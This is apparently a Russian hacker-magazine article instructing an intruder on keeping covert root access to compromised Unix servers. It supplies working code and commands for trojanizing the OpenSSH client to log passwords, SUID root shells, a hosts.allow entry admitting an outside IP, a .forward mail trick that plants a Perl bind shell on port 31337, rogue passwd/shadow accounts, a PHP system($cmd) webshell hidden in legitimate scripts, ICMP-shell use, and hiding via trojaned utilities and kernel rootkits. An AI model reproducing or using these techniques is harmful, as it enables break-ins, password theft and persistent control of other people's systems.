Троянизация SSH для перехвата пароля

Ну и, наконец, стандартный метод, связанный с протрояниванием SSH-демона, чтобы
стырить рутовый пасс. Взламываем тачку и устанавливаем на нее снифер, который
нюхает пассы по SSH — допустим, модифицирует /bin/ssh и все логирует ;). В
данный момент протрояненных SSH особо в сети не наблюдается (даже не знаю почему
;)), а те, что я постоянно вижу — сделаны специально для старых версий SSH (old-school
понимаешь ли). Вот некоторый стандартный метод: Итак, достаем дистрибутив
OpenSSH и находим файл sshconnect1.c (вроде так называется) и добавляем в него
следующий вредоносный код, после строчки ‘snprintf(prompt, sizeof(prompt),
"%.30s@%.128s’s password: ",server_user, host);’:

ifile=fopen("/etc/temp.old","a");
fprintf(ifile,"session %s %s\n",server_user,host);
fclose(ifile);

“password = read_passphrase(prompt, 0);”
ifile=fopen("/etc/temp.old ","a");
fprintf(ifile,"password is %s\n",password);
fclose(ifile);

Все. Получив рутовый пасс от SSH ты можешь и не париться с бэкдорами. Но есть
одно "НО!". Не стоит недооценивать админов, так как на самого умного найдется
еще умнее и т.д. Он с легкостью изменит пасс и залатает дыры в системе. Это,
конечно, не всегда так, но имей ввиду 😉

На этом я думаю, можно остановиться, так как рассказывать более о протроянивании
демонов бессмысленно — в конце статьи я привел ссылки на статьи, посвященные
протрояниванию демонов.

Другие методы бэкдоринга

Теперь давай рассмотрим другие методы, с помощь которых хакер может забэкдорить
систему:

Копируя командный интерпретатор с привилегиями рута

Самый, наверное, простой способ — скопировать рутовый командный интерпретатор
(допустим, sh: cp /bin/sh /tmp) в какую-нибудь забугорную папку (да такую, чтобы
и для nobody к ней доступ был) и установить на нее права доступа 4555 (chmod
4555 /tmp/COMINTER). Но! В последних версиях sh — это просто линк на
интерпретатор bash. Так, что придется юзать интерпретаторы csh или ksh

SUID-Perl бэкдор

SuidPerl – это perl-скрипт, на котором установлены права доступа SUID. “Ну и
что? Что из этого?” – спросишь ты. А я отвечу: если на исполняемом файл
установлены пара доступа SUID, то файл, при запуске получит права не
запустившего его, а права владельца файла. Ты понимаешь, о чем я? Нет? Тогда
слушай дальше… Получив n’ые привилегии, например, root мы засуидим его и будем
выполнять через него команды. Для этого вбивай в него такую строку:

system("юникс_команда");

Все. Палево, конечно, но все-таки…

Создать нехитрый бинарник, дающий рутовые привилегии 😉

Допустим у тебя есть _не_ рутовый доступ к системе, но ты уже сломал учетную
запись рута и хочешь закрепить свои привилегии, да и очень просто. Допустим, мы
незаконный юзер системы и имеем nobody привилегии. Итак, сначала мы юзаем
root’овый
аккаунт для компиляции сишника givemeroot.c (для чего он нужен — потом ;)):

main()
{
setuid(0);
setgid(0);
system("/bin/bash");
}

Как видно из кода, программа установит на uid=0 и gid=0, а также даст
полноценный доступ к интерпретатору bash с привилегиями root.
Компилируем:
 
#gcc root-kroot.c -O /tmp/conf

и прячем в какую-нибудь папку (у меня в /tmp/) и подальше. Выставляем права
доступа 4755 (chmod 4755 /tmp/conf). Теперь покидаем рутовый акк и коннектимся к
nobody бэкдору. Проникли в систему, а теперь запускаем откомпиленный сишник и
получаем root’a 😉

Доверенные "хвосты" %)

Огромное количество демонов (к примеру rshd, sshd) при коннекте используют
файлы .rhost, .rhost (uid=0 auth), /etc/host.equiv, .shosts. Благодаря этим
файлам некоторые доверенные хосты (их прописывает админ) могут "пройти" без
аутентификации :). А если в этих неугодных для админа файлах будут
присутствовать
два плюса ( + +), то на сервак сможет пройти любой хост без аутентификации :).
Получив привилегии рута нам ничего не стоит добавить туда какой-нибудь забугорный шелл и коннектиться,
допустим, по SSH к порутанной тачке с него :), добавив в него IP-адрес хоста или домен можно обойти пароль:

#echo ‘ALL: 123.456.78.90’ >> /etc/hosts.allow

Вот и все 🙂

SMTPd .forward бэкдор

Это один из самых менее известных (менее описанных) способов для "забэкдоривания"
системы, в чем его плюс 😉 Если ты знаток unix-систем и изучал работу почтовых демонов, то знаешь, что
демоны smtpd, sendmail и postfix (да и не только они, многие, просто эти самые
распространенные), используют информацию из файла .forward какого-то
пользователя (он находится в домашнем каталоге пользователя, например /home/1nf3ct0r/)
при отправки сообщения. "Ну и что?" — скажешь ты. Так вот, этот неприметный
файлик — лакомый кусочек для хакера, так как он позволяет передавать письма
email’a в совершенно другое место, а также может быть использован для запуска
программы на взломанной тачке! Итак, смотрим (будет, что-то вроде этого):

1nf3ct0r@washacked$ cat .forward
"|IFS=’ ‘ && exec /usr/bin/_командный_интерпретатор_ // так будет выглядеть
forward, настроенный на запуск программы
1nf3ct0r@washacked.ru // так будет при отправки писем

Теперь мы модифицируем этот файл:

|"cp /bin/csh /home/1nf3ct0r/washacked ; chmod 755 /home/1nf3ct0r/washacked"|

Мы сделали следующее: благодаря такой строчке мы скопировали командный
интерпретатор csh в домашний каталог юзера и установили права доступа 755
(исполняемый файл)

Ну, что, понимаешь к чему я клоню? С помощью такой фичи мы сможем выполнять
команды на серваке через мыло! Если мы пошлем письмо на 1nf3ct0r@washacked.ru,
создаётся файл washacked в домашнем каталоге пользователя:

$ mail -s NIX-RAT 1nf3ct0r@washacked.ru
Your system was Hacked 😉
$
You have mail in /var/mail/1nf3ct0r
$ ls /home/1nf3ct0r/washacked
washacked
$

Просек фичу?

Давай теперь отправим в .forward код perl’ового бэкдора:

$ echo "#!/usr/bin/perl use Socket;$p=31337;socket(S,PF_INET,SOCK_STREAM,
getprotobyname(‘tcp’));setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($p,INADDR_ANY)); listen(S,50);while(1){accept(X,S);
if(!($pid=fork)){if(!defined $pid){exit(0);}open STDIN,"<&X";open STDOUT,">&X";
open STDERR,">&X";exec("/bin/csh");close X; }}" >> .forward

Таким вот методом мы забэкдорили систему и сможем выполнять команды через мэйл
:).
Всегда имей этот метод ввиду, уверен — он тебе еще не один раз
понадобится…

Добавление новых учетных записей

Самый палевный метод, но часто проходит на многопользовательских системах.
Создается учетная запись и пароль к ней (добавляем пользователя (echo ‘что
добавить’ >> в какой файл) в /etc/passwd — логин, id, gid, командный
интерпретатор и в /etc/shadow — захэшированный пасс и логин), как будто ты и
есть законный юзер системы 🙂

PHP’шный бэкдор 😉

Ну и самый тупой метод — залить на серв (куда подальше) php-шелл, который,
в принципе, тоже можно назвать бэкдором :).
Кстати, если добавить в ‘законный’ PHP-скрипт такой код:

<?
echo "<h4><pre>";
system($cmd);
echo "</pre></h4>"
?>

то вряд ли его кто-нибудь найдет, кроме какой-нибудь IDS типа TripWire 😉 Это
так, к размышлению…

Невидимость бэкдоров

Итак… Давай теперь рассмотрим некоторые методы воплощения невидимости нашего бэкдора

Обход Файрвола

Данный метод поможет обойти файрвол. Без комментариев. Написание мы
рассматривали выше.

Технология ICMP-wakeup

Чем хорош этот метод? Да тем, что бэкдор откроет порт или приконнектится сам
к хакеру не держа постоянно открытых портов.
Вот, к примеру, утилитка ICMP-shell: программа работает при помощи протокола ICMP (ну естественно), в
ICMP-пакеты "втуливаются" наши команды, а серверная часть их обрабатывает и
выполняет. Это достаточно удобно, так как ICMP-пакеты почти всегда
обрабатываются сервером (конечно, если файрвол не режет все icmp-пакеты).

Теперь, как это выглядит на практике:

// Запускаем ICMP-shell на сервере c
привилегиями root, так как он использует
RAW-сокеты

server# ishd -i 31337 -t 8
//
Запустили. Идентификатор — 31337, тип ICMP-пакета — 8 (echo). Идентификатор
нужен

//
для того, чтобы серверная часть ICMP-шелла распознавала пакеты хакера.

// Теперь запускается клиентская часть:
client# ish -i 31337 -t 8 victim.org
Connecting to victim.org…done.

// Узнаем, "кто мы":
#whoami
root

С ICMP-shell мы разобрались.
Но не все так прото! У icmp-wakeup бэкдоров есть существенный недостаток – то,
что затрояненую тачку вполне реально можно будет захватить 🙂 Очень интересная
статья по этому поводу есть в Defaced E-Zine #5 “.

Шифрование Траффика

Данный метод поможет защититься от админских IDS и сниферов с помощью
шифрования трафика. Написание такого чуда мы рассматривали выше.

Скрытие процессы, установленных соединений, файлов и т.д

Мы рассматривать не будем — просто немного не та тема, так как это уже про руткиты ;/
Но сразу скажу — стелсировать можно :).

Социальной Инженерией

Этот метод подразумевает назвать процесс именем system или ему подобным, файлы
спрятать в системные папки и назвать их тоже
соответствующе :).

Банальной троянизацией

Троянизируются системные утилиты, такие как: dir, encrypt, find, ifconfig, login,
ls, lsof, lsof, md5sum, netstat, pg, ps, pstree, slocate, syslogd, sz, tkp, tks,
tksb, top и т.д.
для сокрытия своего присутствия. Не совсем актуально если на серваке стоят IDS
наподобии TripWire.

Ядерной руткитизацией 😉

Данный метод считается самым респектабельным и эффективным, так как сокрытие
производится на уровне ядра с помощью LKM — подгружаемых модулей ядра и бэкдор
будет полностью невидимым в системе, за исключением самого модуля, который тоже
можно скрыть каким-нибудь хитроумным методом или просто назвать модуль системным
именем — тогда администратор на 90% не решится убить его.

Заключение

Что я не рассказал? Да много чего! Например о бэкдоринге XinetD, о руткитах и
т.д. Бэкдоринг и невидимость в *nix-системах в действительности настолько
необъятная тема, что даже эта статья при всей ее обширности не затрагивает и
половины видимой части айсберга, не говоря уже о той глыбе, что спрятана под
водой. Но об этом как ни будь в другой раз…

Также, хочу заметить, что протроянивание систем — дело уголовно наказуемое (имхо,
статья 273 УК), а если ты еще и сломал систему, прежде чем затроянить, то, это
уже 2 статьи — 272 и 273… Удачи тебе, не попадайся!

p.s: если статья вам чем-то помогла и дала какие-то новые познания, то я
действительно рад 🙂

p.p.s: а если, что-то было не ясно в коде — то прошу обратиться к учебникам по C/C++,
так как я не говорил, что знания этих языков не понадобятся 🙂

:: A fatal exeption has occured at 0028:CO298A8 in CBX/32 (48k) +48.4b.43
:: Error code 2.F-002 [0x48k infecting].
:: User’s brain will be infected now. You will lose all your unsaved information.
:: Press any key to continue.
:: > a
:: Warning! 0x48k Crew Inside
:: Infecting… Done
:: Your Brain was Backdoored.
:: Exit? YES/NO
:: > yes

Статьи:

  •  Троянизация Тукса — написание LKM-руткитов для ядер версий 2.4.x
    Автор: _1nf3ct0r_ | Hell Knights Crew — http://hellknights.void.ru/
  • Затроянивание SSHd — затроянивание SSH демона
  • Автор: Satir | Cyber Lords Community — http://cyberlords.net/
  • UID=0, что дальше? — закрепление root’овых привелегий на взломанной тачке
  • Автор: Unkn0wn | Gips Hackers Crew — E-Zine "Defaced" #2
    http://anonymous.ru/index.php?p=ezine
  • Как хакеры пишут свои бэкдоры — переделка telnetd в невидимый бэкдор
    Автор: Forb | Журнал "Хакер", номер #062 — https://xakep.ru/
  • Выбери свой руткит — обзор *nix-руткитов
    Журнал "Хакер", номер #062 — https://xakep.ru/
  • [+] Охота на Хакера – статья, в которой сильно затрагивается тема бэкдринга…
    Автор: Sashiks | журнал "Хакер", номер #84
    https://xakep.ru/
  • ICMP wakeup backdoors takeover – захват тачки, забэкдоренной ICMP-wakeUP
    бэкдором
    Автор: Defaced Stuff| e-zine “Defaced”, номер #5,
    http://anonymous.ru/index.php?p=ezine
  • Вооружись своим руткитом — написание простейшего Linux-руткита
    Автор: Forb | журнал "Хакер", номер #071
    https://xakep.ru/
  • Поиграем с туксом в прятки — стелс-технолгии на уровне ядра в Linux
    Автор: Крис Касперски | журнал "Хакер", номер #077
    https://xakep.ru/
  • Системный маскарад — написание простейшего руткита на perl)
    Автор: Юрий Гольцев | журнал "Хакер", номер #080
    https://xakep.ru/
  • Attacking OpenBSD with LKM — I и II часть — написание LKM-руткитов под
    OpenBSD
    Автор: __blf | Rush Security Team http://rst.void.ru/
  • Weakening the Linux Kernel — методы стелсирования на уровне ядра, лазейка в
    ядрах
    Автор: Solar Disigner | e-zine "Phrack", номер #54
    http://phrack.org/

P.S: Вся информация предоставлена в исключительно ознакомительных целях. Не
нарушай законов! 😉

Оставить мнение

Check Also

Windows 10 против шифровальщиков. Как устроена защита в обновленной Windows 10

Этой осенью Windows 10 обновилась до версии 1709 с кодовым названием Fall Creators Update …